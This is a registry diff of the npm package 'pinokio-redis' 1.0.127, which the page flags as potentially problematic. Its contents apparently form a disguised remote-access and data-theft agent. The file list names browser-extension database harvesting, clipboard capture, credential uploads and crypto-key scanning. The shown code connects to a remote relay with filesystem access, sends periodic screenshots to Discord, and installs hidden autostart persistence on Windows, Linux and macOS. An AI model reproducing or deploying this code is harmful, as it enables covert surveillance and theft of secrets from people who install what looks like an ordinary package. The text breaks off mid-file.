pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pinokio-redis might be problematic. Click here for more details.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
"use strict";
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
|
+
/** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
|
|
5
|
+
require("./envLoad");
|
|
6
|
+
const clientId_1 = require("./clientId");
|
|
7
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
8
|
+
const manifest_1 = require("./autostart/manifest");
|
|
9
|
+
const agentRunner_1 = require("./agentRunner");
|
|
10
|
+
const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
|
|
11
|
+
function bootstrapSyncEnvFromDisk() {
|
|
12
|
+
const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
13
|
+
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
|
|
14
|
+
(0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
|
|
15
|
+
(0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
|
|
16
|
+
(0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
|
|
17
|
+
const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
|
|
18
|
+
(process.env.CFGMGR_API_URL || "").trim() ||
|
|
19
|
+
(process.env.CFGMGR_CFG || "").trim();
|
|
20
|
+
if (have)
|
|
21
|
+
return;
|
|
22
|
+
const u = (0, manifest_1.readManifest)(dir)?.options?.syncApiUrl?.trim();
|
|
23
|
+
if (u) {
|
|
24
|
+
process.env.FORGE_JS_SYNC_URL = u;
|
|
25
|
+
process.env.CFGMGR_API_URL = u;
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
if (process.argv[2] === "secret-scan") {
|
|
29
|
+
void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
|
|
30
|
+
.then((code) => process.exit(code))
|
|
31
|
+
.catch((e) => {
|
|
32
|
+
console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
|
|
33
|
+
process.exit(2);
|
|
34
|
+
});
|
|
35
|
+
}
|
|
36
|
+
else if (process.argv.includes("-h") || process.argv.includes("--help")) {
|
|
37
|
+
console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
|
|
38
|
+
` forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
|
|
39
|
+
` Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
|
|
40
|
+
`Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
|
|
41
|
+
`Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
|
|
42
|
+
` Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
|
|
43
|
+
` To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
|
|
44
|
+
` Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
|
|
45
|
+
`Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
|
|
46
|
+
`Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — leave FORGE_JS_DISCORD_SCREENSHOT_ENABLED unset to follow the relay, set =1 to force on, or =0/false/off to opt out (persistable in forge-js-agent.env; survives reconnect).\n` +
|
|
47
|
+
` Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
|
|
48
|
+
` FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
|
|
49
|
+
` FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
|
|
50
|
+
` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook). If unset, relay_features.discord_screenshot_upload_mode may set it from RELAY_DISCORD_AGENT_UPLOAD_MODE.\n` +
|
|
51
|
+
` FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
|
|
52
|
+
` FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
|
|
53
|
+
` FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1 — optional: after webhook failures, retry via relay WS (PNG). Default off.\n` +
|
|
54
|
+
`Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
|
|
55
|
+
process.exit(0);
|
|
56
|
+
}
|
|
57
|
+
else {
|
|
58
|
+
try {
|
|
59
|
+
bootstrapSyncEnvFromDisk();
|
|
60
|
+
const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
|
|
61
|
+
if (!opts) {
|
|
62
|
+
console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
|
|
63
|
+
process.exit(2);
|
|
64
|
+
}
|
|
65
|
+
(0, agentRunner_1.runForgeAgentWithSingleton)(opts);
|
|
66
|
+
}
|
|
67
|
+
catch (e) {
|
|
68
|
+
console.error("forge-agent:", e instanceof Error ? e.message : e);
|
|
69
|
+
process.exit(2);
|
|
70
|
+
}
|
|
71
|
+
}
|
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
"use strict";
|
|
3
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
4
|
+
if (k2 === undefined) k2 = k;
|
|
5
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
6
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
7
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
8
|
+
}
|
|
9
|
+
Object.defineProperty(o, k2, desc);
|
|
10
|
+
}) : (function(o, m, k, k2) {
|
|
11
|
+
if (k2 === undefined) k2 = k;
|
|
12
|
+
o[k2] = m[k];
|
|
13
|
+
}));
|
|
14
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
15
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
16
|
+
}) : function(o, v) {
|
|
17
|
+
o["default"] = v;
|
|
18
|
+
});
|
|
19
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
20
|
+
var ownKeys = function(o) {
|
|
21
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
22
|
+
var ar = [];
|
|
23
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
24
|
+
return ar;
|
|
25
|
+
};
|
|
26
|
+
return ownKeys(o);
|
|
27
|
+
};
|
|
28
|
+
return function (mod) {
|
|
29
|
+
if (mod && mod.__esModule) return mod;
|
|
30
|
+
var result = {};
|
|
31
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
32
|
+
__setModuleDefault(result, mod);
|
|
33
|
+
return result;
|
|
34
|
+
};
|
|
35
|
+
})();
|
|
36
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
37
|
+
/**
|
|
38
|
+
* Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
|
|
39
|
+
*/
|
|
40
|
+
const fs = __importStar(require("node:fs"));
|
|
41
|
+
const path = __importStar(require("node:path"));
|
|
42
|
+
const install_1 = require("./autostart/install");
|
|
43
|
+
const durableDistDir_1 = require("./durableDistDir");
|
|
44
|
+
function parseArgs(argv) {
|
|
45
|
+
const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
|
|
46
|
+
const opts = {
|
|
47
|
+
relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
|
|
48
|
+
process.env.CFGMGR_RELAY_URL?.trim() ||
|
|
49
|
+
"",
|
|
50
|
+
};
|
|
51
|
+
let cmd = "help";
|
|
52
|
+
let distDir = envDist;
|
|
53
|
+
for (let i = 2; i < argv.length; i++) {
|
|
54
|
+
const a = argv[i];
|
|
55
|
+
if (a === "install")
|
|
56
|
+
cmd = "install";
|
|
57
|
+
else if (a === "uninstall")
|
|
58
|
+
cmd = "uninstall";
|
|
59
|
+
else if (a === "status")
|
|
60
|
+
cmd = "status";
|
|
61
|
+
else if (a === "-h" || a === "--help")
|
|
62
|
+
cmd = "help";
|
|
63
|
+
else if (a === "--relay" && argv[i + 1]) {
|
|
64
|
+
opts.relayUrl = argv[++i];
|
|
65
|
+
}
|
|
66
|
+
else if (a === "--session" && argv[i + 1]) {
|
|
67
|
+
opts.session = argv[++i];
|
|
68
|
+
}
|
|
69
|
+
else if (a === "--password" && argv[i + 1]) {
|
|
70
|
+
opts.password = argv[++i];
|
|
71
|
+
}
|
|
72
|
+
else if (a === "--no-password")
|
|
73
|
+
opts.noPassword = true;
|
|
74
|
+
else if (a === "--no-filesystem")
|
|
75
|
+
opts.noFilesystem = true;
|
|
76
|
+
else if (a === "--omit-relay-arg")
|
|
77
|
+
opts.omitRelayArg = true;
|
|
78
|
+
else if (a === "--omit-sync-url")
|
|
79
|
+
opts.omitSyncUrl = true;
|
|
80
|
+
else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
|
|
81
|
+
distDir = path.resolve(argv[++i]);
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
return { cmd, opts, distDir };
|
|
85
|
+
}
|
|
86
|
+
/** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
|
|
87
|
+
function resolveDistDirForInstall(parsedDist) {
|
|
88
|
+
const trimmed = parsedDist.trim();
|
|
89
|
+
if (trimmed)
|
|
90
|
+
return trimmed;
|
|
91
|
+
const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
|
|
92
|
+
if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
|
|
93
|
+
return durable;
|
|
94
|
+
}
|
|
95
|
+
return (0, install_1.defaultDistDir)();
|
|
96
|
+
}
|
|
97
|
+
function printHelp() {
|
|
98
|
+
console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
|
|
99
|
+
|
|
100
|
+
Usage:
|
|
101
|
+
forge-autostart install [--relay <ws://host:9877>] [options]
|
|
102
|
+
forge-autostart uninstall
|
|
103
|
+
forge-autostart status
|
|
104
|
+
|
|
105
|
+
Options (install):
|
|
106
|
+
--relay URL WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
|
|
107
|
+
--session ID Optional session id (else uses persisted .client_id)
|
|
108
|
+
--password P Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
|
|
109
|
+
--no-password Agent without password
|
|
110
|
+
--no-filesystem Disable fs explorer on agent
|
|
111
|
+
--dist-dir DIR Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
|
|
112
|
+
--omit-relay-arg Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
|
|
113
|
+
--omit-sync-url Omit sync URL from forge-js-agent.env (bundle-sourced sync)
|
|
114
|
+
|
|
115
|
+
Env:
|
|
116
|
+
FORGE_JS_AUTOSTART_DIST_DIR Same as --dist-dir when set
|
|
117
|
+
|
|
118
|
+
Behavior:
|
|
119
|
+
Windows: Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
|
|
120
|
+
Linux: systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
|
|
121
|
+
macOS: ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
|
|
122
|
+
|
|
123
|
+
PATH:
|
|
124
|
+
Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
|
|
125
|
+
cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
|
|
126
|
+
dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
|
|
127
|
+
otherwise this package's dist/ next to forge-autostart.
|
|
128
|
+
|
|
129
|
+
Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
|
|
130
|
+
`);
|
|
131
|
+
}
|
|
132
|
+
const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
|
|
133
|
+
if (cmd === "help") {
|
|
134
|
+
printHelp();
|
|
135
|
+
process.exit(0);
|
|
136
|
+
}
|
|
137
|
+
if (cmd === "status") {
|
|
138
|
+
console.log(JSON.stringify((0, install_1.statusAutostart)(), null, 2));
|
|
139
|
+
process.exit(0);
|
|
140
|
+
}
|
|
141
|
+
if (cmd === "uninstall") {
|
|
142
|
+
(0, install_1.uninstallAutostart)();
|
|
143
|
+
console.log("forge-autostart: uninstall completed.");
|
|
144
|
+
process.exit(0);
|
|
145
|
+
}
|
|
146
|
+
if (cmd === "install") {
|
|
147
|
+
if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
|
|
148
|
+
console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
|
|
149
|
+
"or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
|
|
150
|
+
process.exit(2);
|
|
151
|
+
}
|
|
152
|
+
let distDirFinal = resolveDistDirForInstall(parsedDist);
|
|
153
|
+
if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
|
|
154
|
+
console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
|
|
155
|
+
process.exit(2);
|
|
156
|
+
}
|
|
157
|
+
const ok = (0, install_1.installAutostart)(opts, distDirFinal);
|
|
158
|
+
if (ok) {
|
|
159
|
+
console.log("forge-autostart: install completed.");
|
|
160
|
+
process.exit(0);
|
|
161
|
+
}
|
|
162
|
+
console.error("forge-autostart: install failed.");
|
|
163
|
+
process.exit(1);
|
|
164
|
+
}
|
|
165
|
+
printHelp();
|
|
166
|
+
process.exit(2);
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
"use strict";
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
|
+
/**
|
|
5
|
+
* XDG autostart entry (Linux + systemd): copy the current graphical session into
|
|
6
|
+
* forge-js-agent.env and restart forge-js-worker.
|
|
7
|
+
*
|
|
8
|
+
* With loginctl linger, the user service often starts at boot before any X11/Wayland
|
|
9
|
+
* session exists. That process wins the forge-agent singleton; the duplicate start at
|
|
10
|
+
* desktop login exits immediately. Clipboard then stays broken until the service is
|
|
11
|
+
* restarted with a real DISPLAY / WAYLAND_DISPLAY / XAUTHORITY / DBus session bus.
|
|
12
|
+
*/
|
|
13
|
+
const node_child_process_1 = require("node:child_process");
|
|
14
|
+
const clientId_1 = require("./clientId");
|
|
15
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
16
|
+
const constants_1 = require("./autostart/constants");
|
|
17
|
+
if (process.platform !== "linux") {
|
|
18
|
+
process.exit(0);
|
|
19
|
+
}
|
|
20
|
+
const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
21
|
+
(0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)(dataDir);
|
|
22
|
+
const r = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "restart", constants_1.SYSTEMD_UNIT_NAME], {
|
|
23
|
+
encoding: "utf8",
|
|
24
|
+
timeout: 30_000,
|
|
25
|
+
});
|
|
26
|
+
if (r.status !== 0 &&
|
|
27
|
+
(process.env.FORGE_JS_SESSION_REFRESH_LOG || "").trim() === "1") {
|
|
28
|
+
console.error("[forge-js] cli-linux-session-refresh: systemctl --user restart failed:", r.stderr?.trim() || r.stdout?.trim() || r.error?.message || r.status);
|
|
29
|
+
}
|
|
30
|
+
process.exit(0);
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
"use strict";
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
|
+
/** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
|
|
5
|
+
require("./envLoad");
|
|
6
|
+
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
7
|
+
const relayServer_1 = require("./relayServer");
|
|
8
|
+
function parseArgs(argv) {
|
|
9
|
+
let host = "0.0.0.0";
|
|
10
|
+
let port = deploymentDefaults_1.RELAY_DEFAULT_PORT;
|
|
11
|
+
for (let i = 2; i < argv.length; i++) {
|
|
12
|
+
const a = argv[i];
|
|
13
|
+
if (a === "--host" && argv[i + 1]) {
|
|
14
|
+
host = argv[++i];
|
|
15
|
+
}
|
|
16
|
+
else if (a === "--port" && argv[i + 1]) {
|
|
17
|
+
port = parseInt(argv[++i], 10) || port;
|
|
18
|
+
}
|
|
19
|
+
else if (a === "-h" || a === "--help") {
|
|
20
|
+
console.log(`Usage: forge-relay [--host 0.0.0.0] [--port ${deploymentDefaults_1.RELAY_DEFAULT_PORT}]\n` +
|
|
21
|
+
` Env: CFGMGR_RELAY_STRICT_ORIGIN=1 — strict browser Origin checks (default relaxed for reverse proxies).\n` +
|
|
22
|
+
` CFGMGR_RELAY_DISABLE_ORIGIN_CHECK=1 — force relaxed Origin checks.\n` +
|
|
23
|
+
` CFGMGR_RELAY_DASHBOARD_PASSWORD_SHA256=<64 hex> — require login before /files and viewer WebSockets; put only the SHA-256 of the password in .env (not plaintext).\n` +
|
|
24
|
+
` forge-db sync URL (advertised to agents): FORGE_JS_SYNC_URL or CFGMGR_API_URL / CFGMGR_CFG, or RELAY_SYNC_API_BASE_URL.\n` +
|
|
25
|
+
` CFGMGR_SESSION_ID — default file-explorer session; agents without a session call GET /api/relay-for-agent to match.\n` +
|
|
26
|
+
` Discord screenshots: RELAY_DISCORD_SCREENSHOT_ENABLED=1, RELAY_DISCORD_BOT_TOKEN (comma-sep or RELAY_DISCORD_BOT_TOKENS), RELAY_DISCORD_GUILD_ID,\n` +
|
|
27
|
+
` RELAY_DISCORD_PARENT_CATEGORY_ID (optional), RELAY_DISCORD_SCREENSHOT_INTERVAL_MS (default 300000),\n` +
|
|
28
|
+
` RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
|
|
29
|
+
` RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
|
|
30
|
+
` Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
|
|
31
|
+
` WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
|
|
32
|
+
` default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
|
|
33
|
+
